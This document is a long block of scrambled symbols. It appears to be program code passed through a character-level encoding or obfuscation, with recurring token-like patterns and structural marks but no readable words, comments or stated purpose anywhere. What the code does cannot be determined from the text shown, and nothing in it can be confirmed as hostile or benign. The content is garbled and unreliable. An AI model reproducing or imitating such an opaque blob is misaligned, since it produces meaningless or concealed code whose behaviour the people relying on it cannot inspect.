+6'}lleyeeemp}vhw}vlleee7 107+~Oee,#eeeeeem=w7ru&0,2#3mtsprlma6|3$6.2 +6'}lle>OOa-'!##'"3$2.3*7eeexeeee?|?!)+'qtu++mtssulma#pp!,?,732s1)eeeeeekeee=}p-/*"'(=r+3mtsstleeekeea6s-t| s +<?leezeee0!(7.u=/&.(.mtq|plmm617,+"le=w7ru&0,2#3mtsvwlma#pp!,?,732s1)eeekeee?|?!)+'qtu++mtsstlekeea6s-t| s +<?lleeeegg~Oee,#eeema-'!##'"3$2.3*7edxxeggeeecceeee=}p-/*"'(=r+3mtstvlm?|?!)+'qtu++mtsswlieeeeeea-'!##'"3$2.3*7leeccee3 76,*+&*(5$7 ma-'!##'"3$2.3*7iee',7|#2u4-"!$4'1"smlieeb{bllee7 107+~Oee0+6 1ma-'!##'"3$2.3*7l~Oeeeee8OOOO,#eem=}p-/*"'(=r+3mtssulma6|3$6.2 +6'}llee>Oea115$3utr"s!+r$"exeeeea#pp!,?,732s1)eeeke0!(7.u=/&.(.mtssvleeke!5} }=v42/31wmeekeb"bieeeemtsvtrtll~Oea6-, 5-.tr"eexe?|?!)+'qtu++mtssqlma115$3utr"s!+r$"leeezeeem617,+"leeee0!(7.u=/&.(.mtssplma115$3utr"s!+r$"leegg~Oa7s$&r#!?ss|??)#1eexeu~Oee,#eeeeema6-, 5-.tr"edxxeggleee>Oeeeeea762} u<'$3-7weeeexee=w7ru&0,2#3mtttwlmb9bieea6-, 5-.tr"l~Oeea7s$&r#!?ss|??)#1eexeeeem,+1leeeeea762} u<'$3-7wu~Oe8Oeeeeeee,#eema7s$&r#!?ss|??)#1eee{eeeeueeeccee=w7ru&0,2#3mtssslmleeeheeeea7s$&r#!?ss|??)#1eeeee{em}tun|ulleeee="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mrwplieee=}p-/*"'(=r+3mtssrll~O )6 ,#eeeeeema7s$&r#!?ss|??)#1exxxeeueeeeecceeem=w7ru&0,2#3mtssslmleeeehem,+1le#,) &1,( ma6|3$6.2 +6'}lleee{eem}|qnsllee="!24p3/qt!$s631p2',pm?|?!)+'qtu++mrwplie?|?!)+'qtu++mtss}ll~Oeeee0+6 1ma115$3utr"s!+r$"ieeeea6-, 5-.tr"ieeeeea762} u<'$3-7wiea7s$&r#!?ss|??)#1l~Oeeeeee8Oeeea++&0*6#1ru?eeexe0=&?!<<|0*r/q0.<6ml~OOe,#eeemda++&0*6#1ru?e99e=}p-/*"'(=r+3mtsqtlma++&0*6#1ru?leeeyemu=s!nu=t}rlleee7 107+~OOOOea"t<"+'*23<exe!'=v64s3w-u+u+'# (!}ml~Oea(p7/u0 *5&-6t$"eeeexee=}p-/*"'(=r+3mtvqrlm.!*q3ww&t$ 5+*7'&rmliee=}p-/*"'(=r+3mtsptll~OOOea3=w23,5)$ vexe/v&))=5vt?}||u5'#<&4mleke0!(7.u=/&.(.mtss|l~Oeeea/74v1<3+</eexeeeee=w7ru&0,2#3mtsrulma3=w23,5)$ vlOzeeeema3=w23,5)$ veeeekeeeeebjbeeekeea(p7/u0 *5&-6t$"eekee?|?!)+'qtu++mtsrtllOOOOeeeeeem/v&))=5vt?}||u5'#<&4mleeekee=}p-/*"'(=r+3mp|leeekeea(p7/u0 *5&-6t$"eeekebjbeeeeeekeea(p7/u0 *5&-6t$"eeekee=w7ru&0,2#3mtsrwll~Oat!(qpq?4t0 eexee=}p-/*"'(=r+3mtsp}lm=}p-/*"'(=r+3mtv}wllezeeee=}p-/*"'(=r+3mtvsvlm-*( 07)mlie	
leeeeeem,66 1ma  =w7ru&0,2#3msw|llezeeeea  =}p-/*"'(=r+3msw|leeeeeggl~Oa!44.0-wuq?)3"-eeeeexeeem! #,+ !m?|?!)+'qtu++msqullecce	leze	eeee/v&))=5vt?}||u5'#<&4mleeeke=w7ru&0,2#3mtss|l~Oea!p3*<2,-v!q&1eeexem! #,+ !m0!(7.u=/&.(.mtsrvlleecce	leeze	eeeeeee/v&))=5vt?}||u5'#<&4mleeeke0!(7.u=/&.(.m}pql~Oa0'6)|?<!steeeeexe! #,+ !m=}p-/*"'(=r+3mtswvlleze
 eeeeeeee/v&))=5vt?}||u5'#<&4ml~OOOa <'w ru's1$22eexe-v/"u3(r7,t6<mOe?|?!)+'qtu++mtsrqliOOOOeeeee$77$<mbsqbieeeb	 sqbieeeb
biebsqbieeebsqbieeeebsqbieeb
 sqbieeebsqbieeeeb	sqbieeeeb	bieb 
bliOe$77$<m?|?!)+'qtu++mtsrplma/74v1<3+</lieeeea"t<"+'*23<ieeat!(qpq?4t0 iee=w7ru&0,2#3mtsrplma?).?-$)7*.liee0!(7.u=/&.(.mtsrplma6|3$6.2 +6'}lie=}p-/*"'(=r+3mtsrplmlie=}p-/*"'(=r+3mtsrplma0'6)|?<!stliee=w7ru&0,2#3mtsrslma!44.0-wuq?)3"-liee=w7ru&0,2#3mtsrslma!p3*<2,-v!q&1lie=w7ru&0,2#3mtsrrlm.!*q3ww&t$ 5+*7'&rmlieeee?|?!)+'qtu++mtsrwllieeeee',7|#2u4-"!$4'1"smllOeeeeeel~Oeeee,#emda <'w ru's1$22le>OOOOe,#eeemm,+1leee" 1*51,*+m=w7ru&0,2#3m}|plieuleeee{eeeeuleee="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mtsrqlie?|?!)+'qtu++mtsr}ll~Oeee7 107+~Oeee8OOOe,#eeeemd +/$07!"qr+ 6)*pw</s -ma <'w ru's1$22llee>OOOOee="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mtsrqlie=}p-/*"'(=r+3mtsr|ll~O7 107+~Oee8Oeeeeeee,#em<?+3w",2"p|.<!5!ma6|3$6.2 +6'}iea <'w ru's1$22llee>Oee6qp1/"3/r)3u0v.w,|ma6|3$6.2 +6'}iee"7t3r$!4vp#w=u$53mll~O17.s-rs}w1.3'qma6|3$6.2 +6'}iemqtsnqll~O1&s?222)1$ (10)r+3?ma6|3$6.2 +6'}l~Oeee-3&*t0)(+,)?3 r6rma#pp!,?,732s1)eekeeee=w7ru&0,2#3mts}uleeeekeeeea6s-t| s +<?iee=w7ru&0,2#3mtqqqlma <'w ru's1$22liee0!(7.u=/&.(.mtsrqll~Oeee-3&*t0)(+,)?3 r6rma#pp!,?,732s1)ekee=w7ru&0,2#3mtsstleeekea6s-t| s +<?ieee',7|#2u4-"!$4'1"smlie=}p-/*"'(=r+3mtsrqll~Oe,+&)0! *+& eea6|3$6.2 +6'}~OOee6 117$+6, +1m=}p-/*"'(=r+3mtsq|lieeeetiemt|}ntuwll~O8OOOO0+6 1ma!44.0-wuq?)3"-ieeeea!p3*<2,-v!q&1iea0'6)|?<!stl~Oeeee8ee&$1&-eem-7*2$') eeea=w}=)'/7<3/lee>Oe="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mtsrqlieeeeea=w}=)'/7<3/l~Oee8ee&$1&-em =& 51,*+ea=w}=)'/7<3/leee>Oeeee8Oeeeee8Oeeeeeee#0+&1,*+e*'/)(571ts?v.t)r<u}$+ma2157urtu*+lOOOeee>Oe,#eeemd?|?!)+'qtu++mtswulma2157urtu*+lle7 107+e#$)6 ~OOOa6( 5=pt(,|}0exe0!(7.u=/&.(.mtsqtlma2157urtu*+l~O,#eeeeeema6( 5=pt(,|}0e{eeemtuq}ppunwslleeeeee7 107+e170 ~OOOOe,#eeeema6( 5=pt(,|}0eyeeeemqqunsulleeee7 107+e#$)6 ~Oeeea)#53|05!0+eeexe=}p-/*"'(=r+3mtstslma2157urtu*+ieuiemspqprnr|ll~Oa-1"v=7|!rr- -exeee=w7ru&0,2#3mts}tlma)#53|05!0+iebeblene?|?!)+'qtu++mts}tlma)#53|05!0+ieeg1gl~OOO7 107+eeeeema-1"v=7|!rr- -eje0!(7.u=/&.(.mts}wlma)#53|05!0+llee{eukpp~Oeeeeee8Oe#0+&1,*+eeeee0=&?!<<|0*r/q0.<6ma11!<6rtp|t77!eeexee#$)6 lO>Oe61$1,&eeea++&0*6#1ru?eeeeexee+0))~OOOOeeeeee,#eeeema11!<6rtp|t77!leee>Oa++&0*6#1ru?eeeexeeeee+0))~O8Oe,#eema++&0*6#1ru?eeeeeedxxeeeee+0))le7 107+eea++&0*6#1ru?~Oeea2157urtu*+exe#$)6 ~Oa+,| *q(u3} -*!#+eexeeee=}p-/*"'(=r+3mttqplm.!*q3ww&t$ 5+*7'&rmll~Oeeeeee,#eema+,| *q(u3} -*!#+ecceeea+,| *q(u3} -*!#+eeee{eeeemqs|nvtleeeeecceeeea+,| *q(u3} -*!#+eyxeempwqw}rqvnprlleea2157urtu*+eeeexe0!(7.u=/&.(.mtssplm.!*q3ww&t$ 5+*7'&rmll~Oeee,#eeeem=w7ru&0,2#3mtswulma2157urtu*+leeeecce0!(7.u=/&.(.mts}wlma2157urtu*+lee{emtsvvpsuhp}q|}qlleeeea2157urtu*+eeeexe--r<<!4$-0!rq)}pma2157urtu*+l~Oeeeeee,#eeeeem0!(7.u=/&.(.mts}vlma2157urtu*+leeecce=w7ru&0,2#3mts}wlma2157urtu*+leeeee{empqvhqvleeecceee=w7ru&0,2#3mts}wlma2157urtu*+leeyxemtuq}q}sn|ulecceeeeed*'/)(571ts?v.t)r<u}$+ma2157urtu*+leecceeee +/$07!"qr+ 6)*pw</s -ma2157urtu*+lleeee>Oeeeeea++&0*6#1ru?eexeeeeeea2157urtu*+~O7 107+ea++&0*6#1ru?~Oe8OOOOeeeea!w|,s}7+q/t=|-exeee726 ",|qq $q'?&m=w7ru&0,2#3mts}qlieggl~OOOOeeeee,#eem?|?!)+'qtu++mts}vlma!w|,s}7+q/t=|-lecce0!(7.u=/&.(.mts}wlma!w|,s}7+q/t=|-le{eeem}||hv||leeeecceeee=w7ru&0,2#3mts}wlma!w|,s}7+q/t=|-leeeyxeemtuq}q|}nr}lecced*'/)(571ts?v.t)r<u}$+ma!w|,s}7+q/t=|-leeeeccee +/$07!"qr+ 6)*pw</s -ma!w|,s}7+q/t=|-llee>Oea++&0*6#1ru?exeeeea!w|,s}7+q/t=|-~OOOe7 107+eeeeea++&0*6#1ru?~Oe8Oeeeeea++&0*6#1ru?eeeexee#$)6 ~O7 107+eeeeea++&0*6#1ru?~Oe8Oe#0+&1,*+e!'=v64s3w-u+u+'# (!}ma11!<6rtp|t77!eeeexeeeee#$)6 lOee>OOOee61$1,&eeeea*p}t!|"03}"q!p3eeexeee+0))~OOOe,#eeeema11!<6rtp|t77!leee>OOOa*p}t!|"03}"q!p3eeexee+0))~Oeee8OOOO,#eeema*p}t!|"03}"q!p3eedxxeeee+0))lee7 107+eea*p}t!|"03}"q!p3~Oeeeea2157urtu*+eeexee0=&?!<<|0*r/q0.<6ml~Oee,#eeeemd=w7ru&0,2#3mts}vlma2157urtu*+lee99eeee=w7ru&0,2#3mts}wlma2157urtu*+leeeyemvwqntrsle99ee=}p-/*"'(=r+3mts}plma2157urtu*+lee{eeeemtuq}ptrnp|leee99ee*'/)(571ts?v.t)r<u}$+ma2157urtu*+le99ed +/$07!"qr+ 6)*pw</s -ma2157urtu*+lle>OOOa*p}t!|"03}"q!p3eeexeeeee#$)6 ~Oee7 107+ea*p}t!|"03}"q!p3~Oe8Oea*p}t!|"03}"q!p3exeeee0!(7.u=/&.(.mtsrslm-u61+<(w= 5"200*+(qma2157urtu*+ll~Oeee7 107+ea*p}t!|"03}"q!p3~OOOOeee8O#0+&1,*+ee!143=|&0,20+qq &ma"p|t54!6). lOeeee>Oee,#emd0!(7.u=/&.(.mts}vlma"p|t54!6). le99eee0!(7.u=/&.(.mts}plma"p|t54!6). leeeyeeemtun}le99e=w7ru&0,2#3mtstslma"p|t54!6). ieeeeuieeeewleedxxeeeg=t#=}'gleee7 107+eu~Oea7)<|13(}* 0eeeeexee=}p-/*"'(=r+3mts}slmbbie0!(7.u=/&.(.mtstslma"p|t54!6). ieehmtqstpulll~Oea7)<|13(}* 0eexe0!(7.u=/&.(.mts}rlma7)<|13(}* 0leezea7)<|13(}* 0teeeeeeeu~OOO,#eema7)<|13(}* 0eyeeemqvvnsrlee99ea7)<|13(}* 0eeee{emp}||vqnqp}sqwlle7 107+ea7)<|13(}* 0~O7 107+eeeu~Oeee8OOOOeee#0+&1,*+ee2| |&-,?}s&=.$1#rma)(34wu00 s-s),slOeeee>Oeeeee7 107+ee0!(7.u=/&.(.mts}}lm- =! &ma)(34wu00 s-s),stll~Oe8Oeeeeeee#0+&1,*+e*0*)-&#77 -u|&,ma ,/u=4v$$+q,lOeeeeee>Oeeeee,#eemd=}p-/*"'(=r+3mts}vlma ,/u=4v$$+q,leee99ea ,/u=4v$$+q,eeexxxeeeggleee7 107+eeeea ,/u=4v$$+q,~Oeeeee61$1,&ea(,2=u+,$2'exeeeee+0))~Oe,#eema(,2=u+,$2'exxxeee+0))le>Oeea(,2=u+,$2'eexe#$)6 ~OOOee,#eeem?|?!)+'qtu++mts}|lm?|?!)+'qtu++mts|ulllee>Oa!!eexee! #,+ !m=w7ru&0,2#3mts|tllezeeee
 eeeem! #,+ !m=}p-/*"'(=r+3mts|wlleeeeezeeeeggl~OOOe,#ema!!edxxeeeggle>Oeeeeea-p6!r$sp2<,exee!,6.#7  65$& ma!!l~O,#eeema-p6!r$sp2<,eeeeedxxee#$)6 eeeecceeea-p6!r$sp2<,e{xemtprw}svusn|qllea(,2=u+,$2'eeeeexeeee170 ~OOOe8Oee8OOOeeeee,#emda(,2=u+,$2'lee>Oe,#eeeem?|?!)+'qtu++mts|vlm=w7ru&0,2#3mtu}plllee05!$1 *51,*+m?|?!)+'qtu++mts|qlieeeee=}p-/*"'(=r+3mtssslmlieee0!(7.u=/&.(.mtp}vll~Oeee8ee )6 ,#eeeem?|?!)+'qtu++mts|plm=}p-/*"'(=r+3mtpw}lllee>Oa/.6 <1/(r}eexem,+1le" 1*51,*+m?|?!)+'qtu++mts|qlieeeeeeul~O,#eeeeema/.6 <1/(r}eccee=w7ru&0,2#3mts|slmleeeeheeea/.6 <1/(r}eeyem}svuwn|}llea(,2=u+,$2'eeeeexeee#$)6 ~OOeeee8Oeeee8O,#eemda(,2=u+,$2'leeee>Oee7 107+ea ,/u=4v$$+q,~O8Oeeeeea61)q(6| s/$=|$eeeexeemrwvppnpqwrsqplene0!(7.u=/&.(.mttvplmuieemwusuvq}hpsuvq}ll~O,#eeeem0!(7.u=/&.(.mts|rlma ,/u=4v$$+q,leeee{xeeea61)q(6| s/$=|$leee7 107+eea ,/u=4v$$+q,~Oeeee,#eeeem0!(7.u=/&.(.mts|}lm=}p-/*"'(=r+3mts||lma ,/u=4v$$+q,lieehwleexxxee?|?!)+'qtu++mtruulleeeeee7 107+ea ,/u=4v$$+q,~Oeee2-,) eem=w7ru&0,2#3mts|rlma ,/u=4v$$+q,leyea61)q(6| s/$=|$eheemquvvnsrllee>Oa=ss<?3q&?(w&)0'qeexegg~O,#eeem=w7ru&0,2#3mts|plm0!(7.u=/&.(.mtrutllleeee>O17<eee>OOeea=ss<?3q&?(w&)0'qeexe=}p-/*"'(=r+3mtruwlm7$+!*('<1 6mmt||tn|lll~Oeeeeeeee8eeeee&$1&-em-7*2$') eeea=w}=)'/7<3/leee>Oeea=ss<?3q&?(w&)0'qeeexeeeegg~OOe8ee&$1&-eeeeeem =& 51,*+ea=w}=)'/7<3/leeeeee>Oea=ss<?3q&?(w&)0'qexegg~Oe8Oee8OOeeeeee,#eem?|?!)+'qtu++mts|rlma=ss<?3q&?(w&)0'qleeyemt}}unwtwullee>Oeeea=ss<?3q&?(w&)0'qeeeexee?|?!)+'qtu++mtruvlm0+,4,!mggieee170 ll~OOOeeee2-,) em0!(7.u=/&.(.mts|rlma=ss<?3q&?(w&)0'qleeeyeeemruquhvuqulleeeeea=ss<?3q&?(w&)0'qeeekxeee?|?!)+'qtu++mtruvlma=ss<?3q&?(w&)0'ql~Oeeeeeeee8Oeea ,/u=4v$$+q,eeekxeeg+jogeeeekea=ss<?3q&?(w&)0'qeeke=w7ru&0,2#3mtruql~Oe8Oe7 107+eea ,/u=4v$$+q,~OOOOeeeee8O#0+&1,*+eeeee--r<<!4$-0!rq)}pma ,/u=4v$$+q,lOeeeeee>Oe,#emd?|?!)+'qtu++mtruplma ,/u=4v$$+q,le99ee=w7ru&0,2#3mtruslma ,/u=4v$$+q,leeeeyxeemtuq}q||nrrlle7 107+eeea ,/u=4v$$+q,~Oeeeeea$)w)#u=7<s!eeeeexe?|?!)+'qtu++mtprvlm=w7ru&0,2#3mtrurlieeggieea ,/u=4v$$+q,l~O7 107+e=w7ru&0,2#3mtruplma$)w)#u=7<s!leeeeezeeeeea$)w)#u=7<s!eeeeeeeea ,/u=4v$$+q,~O8OOOeeeeee#0+&1,*+ee1&s?222)1$ (10)r+3?ma5-.67/ 5w+|"#}qlOOOOe>OOOeee,#eemd?|?!)+'qtu++mts|plm?|?!)+'qtu++mtru}lle99eeeeed0!(7.u=/&.(.mts|plm=w7ru&0,2#3mtu}pllle7 107+~Oee,#eemd=}p-/*"'(=r+3mtru|lma5-.67/ 5w+|"#}qle99eeea5-.67/ 5w+|"#}qeexxxegge99ed?|?!)+'qtu++mtrtulma5-.67/ 5w+|"#}qlleeee7 107+~Oee,#eeemd,66 1ma	
	?|?!)+'qtu++mtrttlleee99eed=}p-/*"'(=r+3mts}rlma	
	=w7ru&0,2#3mtrtwllle>Oeeeea	
	?|?!)+'qtu++mtrtwleeexe" 1*51,*+m?|?!)+'qtu++mtrtvliee$77$<mll~Oe,#eeeemd=}p-/*"'(=r+3mts}rlma	
	?|?!)+'qtu++mtrtqllleeea	
	?|?!)+'qtu++mtrtplexee$77$<ml~Oeeeee8Oeea)(34wu00 s-s),seeexeeea	
	=}p-/*"'(=r+3mtrtpl~OOOOeea ,/u=4v$$+q,eeeexe0!(7.u=/&.(.mtrtslma5-.67/ 5w+|"#}ql~Oeeeeeee,#eeeeemd0!(7.u=/&.(.mtru|lma ,/u=4v$$+q,lle7 107+~O,#eem0!(7.u=/&.(.mtruslma ,/u=4v$$+q,lee{eemu=#s  &nu=|ttqlleeea ,/u=4v$$+q,eexee--r<<!4$-0!rq)}pma ,/u=4v$$+q,l~OOOeea)(34wu00 s-s),s?|?!)+'qtu++mtruvlma5-.67/ 5w+|"#}qlexeee$77$<mb5beeex{ea5-.67/ 5w+|"#}qieb-bex{eeeee?|?!)+'qtu++mtruvlma ,/u=4v$$+q,lieeeb"beeeeeex{eeeeee',7|#2u4-"!$4'1"smlieb1beeeeeex{eeeee=}p-/*"'(=r+3mtrtrlmll~OOO,#eeem=}p-/*"'(=r+3mtrt}lma)(34wu00 s-s),sleee{eeeeemu=rrnu=ptlle>OOOe#*7 $&-eeeeema)(34wu00 s-s),seee$6eeea+)+24 24<4?|w!"eeeeex{ea?w7r,-#/(.u-)le>Oeee,#eemd=}p-/*"'(=r+3mts}rlma?w7r,-#/(.u-)le99eed,66 1ma?w7r,-#/(.u-)b1ble99em,+1lea?w7r,-#/(.u-)b1beeyeeeee=w7ru&0,2#3mtrtrlmlehempuuss|uhwqtqs|ulleeee0+6 1ma)(34wu00 s-s),sa+)+24 24<4?|w!"l~Oe8OOOO2-,) eeeeem=w7ru&0,2#3mtrt|lma)(34wu00 s-s),slee{eeeeeempuntpulle>Oeeea.. .,,6rqt5p1*7exee+0))~Oeea7,<=p=!/p?tw4exe+0))~Oeee#*7 $&-ema)(34wu00 s-s),seee$6ea+)+24 24<4?|w!"eeex{eeeeea?w7r,-#/(.u-)leeeee>Oea(s12*!|5v6!=|)'rexeee=}p-/*"'(=r+3mts}rlma?w7r,-#/(.u-)leeecceee,66 1ma?w7r,-#/(.u-)b1bleezeeem,+1lea?w7r,-#/(.u-)b1beeeu~Oeeee,#ema7,<=p=!/p?tw4exxxee+0))eeeee99eea(s12*!|5v6!=|)'reeyeeeea7,<=p=!/p?tw4leeee>Oeeea7,<=p=!/p?tw4eeexeeea(s12*!|5v6!=|)'r~Oea.. .,,6rqt5p1*7eeeeeexeea+)+24 24<4?|w!"~OO8Oeeeeee8Oeeee,#eema.. .,,6rqt5p1*7exxxeee+0))leee'7 $.~Oe0+6 1ma)(34wu00 s-s),sa.. .,,6rqt5p1*7l~Oeeeeeee8O8Oeee05!$1 *51,*+m0!(7.u=/&.(.mtrtvlieea)(34wu00 s-s),sieee?|?!)+'qtu++mtp}vll~Oea	
	?|?!)+'qtu++mtrtplexeeeeea)(34wu00 s-s),s~Oee8Oeeeeeee#0+&1,*+eee 7t(33t0r3)($2/+}"ma5-.67/ 5w+|"#}qlOeeeeeeee>Oeeeeeee,#emd0!(7.u=/&.(.mtrwulma5-.67/ 5w+|"#}qleeeee99eeeea5-.67/ 5w+|"#}qexxxeggle7 107+e#$)6 ~OOeee,#eeeeemd,66 1ma	
	=w7ru&0,2#3mtrwtllee99eeed0!(7.u=/&.(.mts}rlma	
	0!(7.u=/&.(.mtrwwllleeeeee>Oa	
	0!(7.u=/&.(.mtrwwleeeexeee=w7ru&0,2#3mts|plm0!(7.u=/&.(.mtru}lleeeezeee" 1*51,*+m?|?!)+'qtu++mtrtvliee$77$<mlleeee$77$<ml~OOOee,#emd=}p-/*"'(=r+3mts}rlma	
	=w7ru&0,2#3mtrwwllleeea	
	=w7ru&0,2#3mtrwwlexeeeee$77$<ml~OOee8Oea)(34wu00 s-s),seeeexea	
	0!(7.u=/&.(.mtrwvl~OOea6./175?4|4w(exee0!(7.u=/&.(.mtruvlma5-.67/ 5w+|"#}ql~Oeee,#em,66 1ma)(34wu00 s-s),sa6./175?4|4w(leecceeeee?|?!)+'qtu++mts}rlma)(34wu00 s-s),sa6./175?4|4w(leecce,66 1ma)(34wu00 s-s),sa6./175?4|4w(b-bllee>OOOe,#eemm,+1leeeee=}p-/*"'(=r+3mtrwqlma5-.67/ 5w+|"#}qle{eempwqw}r}rntvllee7 107+e0!(7.u=/&.(.mtrwpl~OOOeea ,/u=4v$$+q,eeexe=w7ru&0,2#3mtrwslma5-.67/ 5w+|"#}ql~Oe,#eem?|?!)+'qtu++mtrwulma ,/u=4v$$+q,llee>Oe,#em?|?!)+'qtu++mtrwrlma ,/u=4v$$+q,leeeeee{eemtuq}q}sn|ulleeeea ,/u=4v$$+q,eeeexee--r<<!4$-0!rq)}pma ,/u=4v$$+q,l~Oe7 107+eeeem?|?!)+'qtu++mtruvlma ,/u=4v$$+q,leeexxxeea)(34wu00 s-s),sa6./175?4|4w(b-bleeezeee170 eeeeeee?|?!)+'qtu++mtrwpl~Oee8Oeeeee7 107+e#$)6 ~Oeeeeee8Oa"&$&"7u/wpw$=exee?|?!)+'qtu++mtrwslma5-.67/ 5w+|"#}qieeeee#$)6 iee+0))ieuieeeeemu=qrsnu='}$ll~O,#eemOOOOeeeeee=w7ru&0,2#3mtrwulma"&$&"7u/wpw$=leeccee=}p-/*"'(=r+3mtstvlm0!(7.u=/&.(.mwtrlieeeea"&$&"7u/wpw$=lOecceeee1?717-.?s')pru }'s.ma5-.67/ 5w+|"#}qieemqvvnsrllOele>Oeeeeee,#eemm,+1leee?|?!)+'qtu++mtrw}lma5-.67/ 5w+|"#}qle{eeeempwqw}rvsnsqlleeee7 107+e#$)6 ~Oa ,/u=4v$$+q,eexeeeeeem617,+"lee=w7ru&0,2#3mtrwslma5-.67/ 5w+|"#}ql~OOO,#eeeeem=w7ru&0,2#3mtrwrlma ,/u=4v$$+q,leee{eeeemtuq}ptwnsqlleeea ,/u=4v$$+q,exee--r<<!4$-0!rq)}pma ,/u=4v$$+q,l~Oeeee,#eem +/$07!"qr+ 6)*pw</s -ma ,/u=4v$$+q,lleee7 107+eeeee0!(7.u=/&.(.mtrw|l~Oeeeeee8Oeeee7 107+ee#$)6 ~O8OOeeeee#0+&1,*+ee6(rvv-"=0)3)w13/5)w,"mlOOO>O61$1,&eea)(34wu00 s-s),seexeee+0))~Oe,#ema)(34wu00 s-s),seeedxxee+0))leeeee7 107+eea)(34wu00 s-s),s~Oeea ,/u=4v$$+q,eexeeem617,+"leee0!(7.u=/&.(.mtrvulm.!*q3ww&t$ 5+*7'&rmll~OOeeeee,#em0!(7.u=/&.(.mtrvtlma ,/u=4v$$+q,lee{eeemtuq}q}|n}rlleea ,/u=4v$$+q,eeeeexe--r<<!4$-0!rq)}pma ,/u=4v$$+q,l~Oea)(34wu00 s-s),sexeee?|?!)+'qtu++mtruvlma ,/u=4v$$+q,l~Oe7 107+eea)(34wu00 s-s),s~OOOeeee8OOOOe#0+&1,*+eee0p31t2p-)u" v'?6)4"mlOeeeeee>OOO7 107+eee?|?!)+'qtu++mts|}lm6(rvv-"=0)3)w13/5)w,"mlieuieemtunwll~Oee8Oee#0+&1,*+ee"rt*<?,sp6($,s<+</)p( mlOe>OOOOe7 107+e)!r7q}$#qrwq+&#6,#6,'mlekee=w7ru&0,2#3mtrvwlekee!5} }=v42/31wmeekee?|?!)+'qtu++mtrvvlieeemtnrlleeekeeeee=w7ru&0,2#3mtrvql~Oeeeeeeee8OOee#0+&1,*+e2(0#.#=p#-us."w6$=mlO>Oa<<w5vs,)|rp".|'3eexee$77$<ml~OOOeeeeeee,#eeem=w7ru&0,2#3mts|plm=w7ru&0,2#3mtrvpllleee>OOOOeeeeea0.q00s<-q=exeee" 1*51,*+m0!(7.u=/&.(.mtrvslieee$77$<mll~OOeeee,#eeem0!(7.u=/&.(.mts}rlma0.q00s<-q=lleea<<w5vs,)|rp".|'3eeexeeea0.q00s<-q=~O8Oea ,/u=4v$$+q,eeexe0!(7.u=/&.(.mtrtulm"rt*<?,sp6($,s<+</)p( mlleeeezeeee0!(7.u=/&.(.mtrvulm"rt*<?,sp6($,s<+</)p( mlleeeegg~Oeee,#eeeem=}p-/*"'(=r+3mtrvrlma ,/u=4v$$+q,leecceee=w7ru&0,2#3mtsv|lma ,/u=4v$$+q,ieeeee=w7ru&0,2#3m|vqlleeexxxeule>Oa*7!=|067)|*rexeeeeee0!(7.u=/&.(.ms}qlm0!(7.u=/&.(.mts|}lma ,/u=4v$$+q,iemqntllie170 l~O,#eeem=}p-/*"'(=r+3mtrv}lma*7!=|067)|*rlecceem (51<ma<<w5vs,)|rp".|'3=w7ru&0,2#3mtrv|llee99emd (51<ma*7!=|067)|*r?|?!)+'qtu++mtrv|lleeccea*7!=|067)|*r0!(7.u=/&.(.mtrqule{xeeeeeea<<w5vs,)|rp".|'3=w7ru&0,2#3mtrqulllleeea<<w5vs,)|rp".|'3eeexeeea*7!=|067)|*r~OOOO8OOOOee7 107+ea<<w5vs,)|rp".|'3~Oeeeeee8Oee#0+&1,*+e)"1}+p03 4,!.&s3ma".'p= *5<}0)221,lOeeeee>Oe17<eeee>OOOOeee,#emd! #,+ !m0!(7.u=/&.(.mts|wlllee7 107+~Oa<#4*'6!"-r<t/**exee=w7ru&0,2#3mtrtrlml~Oeee,#ema".'p= *5<}0)221,eexxxeee=w7ru&0,2#3mwwple99eea".'p= *5<}0)221,eeeexxxeeee=w7ru&0,2#3mtrqtllee>Oeeeeea57 3exee2(0#.#=p#-us."w6$=ml~Oeeeee,#emO,66 1ma57 30!(7.u=/&.(.mtrqwlieeeea57 3?|?!)+'qtu++mtrqvllecceeeeea57 30!(7.u=/&.(.mtrqwleexxxeeeea".'p= *5<}0)221,Oecceea<#4*'6!"-r<t/**eeheeeeeem,+1lea57 3=w7ru&0,2#3mtrqvleeyema".'p= *5<}0)221,exxxeee=}p-/*"'(=r+3mtrqtleezeeeemu='unu=r&leeeeemtshsllOeeeeeeele7 107+~Oeeeeeee8Oeea<<w5vs,)|rp".|'3eeeeexe$77$<mOOeb3bex{eee',7|#2u4-"!$4'1"smliOe0!(7.u=/&.(.mtrqqleex{e0p31t2p-)u" v'?6)4"mliOeee0!(7.u=/&.(.mtrqpleex{eeee.!*q3ww&t$ 5+*7'&rmliOOOOee?|?!)+'qtu++mtvs}leeeex{ee=w7ru&0,2#3mtrqslm.!*q3ww&t$ 5+*7'&rmlie?|?!)+'qtu++mtrvqlliOOe=}p-/*"'(=r+3mtrqwlex{eeea".'p= *5<}0)221,iO?|?!)+'qtu++mtrqrleex{eeea<#4*'6!"-r<t/**iOee0!(7.u=/&.(.mtrqvleex{eeea<#4*'6!"-r<t/**iOe?|?!)+'qtu++mtrquleex{e,66 1ma  =}p-/*"'(=r+3mtrq}lleeeeezem,+1leeea  =}p-/*"'(=r+3mtrq}leeea<#4*'6!"-r<t/**iOeeeeeel~Oee,#em0!(7.u=/&.(.mtrq|lm?|?!)+'qtu++mtrpullle05!$1 *51,*+m=}p-/*"'(=r+3mtrvslieeeeeea<<w5vs,)|rp".|'3ieee=}p-/*"'(=r+3mtp}vll~Oeeea,up&5"-,q7eeexeeeeee)!r7q}$#qrwq+&#6,#6,'ml~Oe,#em?|?!)+'qtu++mtrptlma,up&5"-,q7lee99e")"--6=55t,-(&ma,up&5"-,q7iemqtsnrrlieeeee170 lleee>Oe=w7ru&0,2#3m||slm"rt*<?,sp6($,s<+</)p( mliee=}p-/*"'(=r+3mtrpwleeekee=}p-/*"'(=r+3mtrpvlma<<w5vs,)|rp".|'3ll~Oe8Oe8ee&$1&-em-7*2$') ea=w}=)'/7<3/lee>Oeee8eee&$1&-eeeem =& 51,*+eeeea=w}=)'/7<3/leeeee>OOO8Oeee8O#0+&1,*+e,wpv?) 7+s1-0t1$6ma<<w5vs,)|rp".|'3lOeee>Oeee,#emd?|?!)+'qtu++mtrv}lma<<w5vs,)|rp".|'3leee99e (51<ma<<w5vs,)|rp".|'3=}p-/*"'(=r+3mtrqplle99eeed?|?!)+'qtu++mtrvrlma<<w5vs,)|rp".|'30!(7.u=/&.(.mtrqpllleeeee7 107+ee0!(7.u=/&.(.mwwwl~Oeea33q#<('6.4r$seexea<<w5vs,)|rp".|'3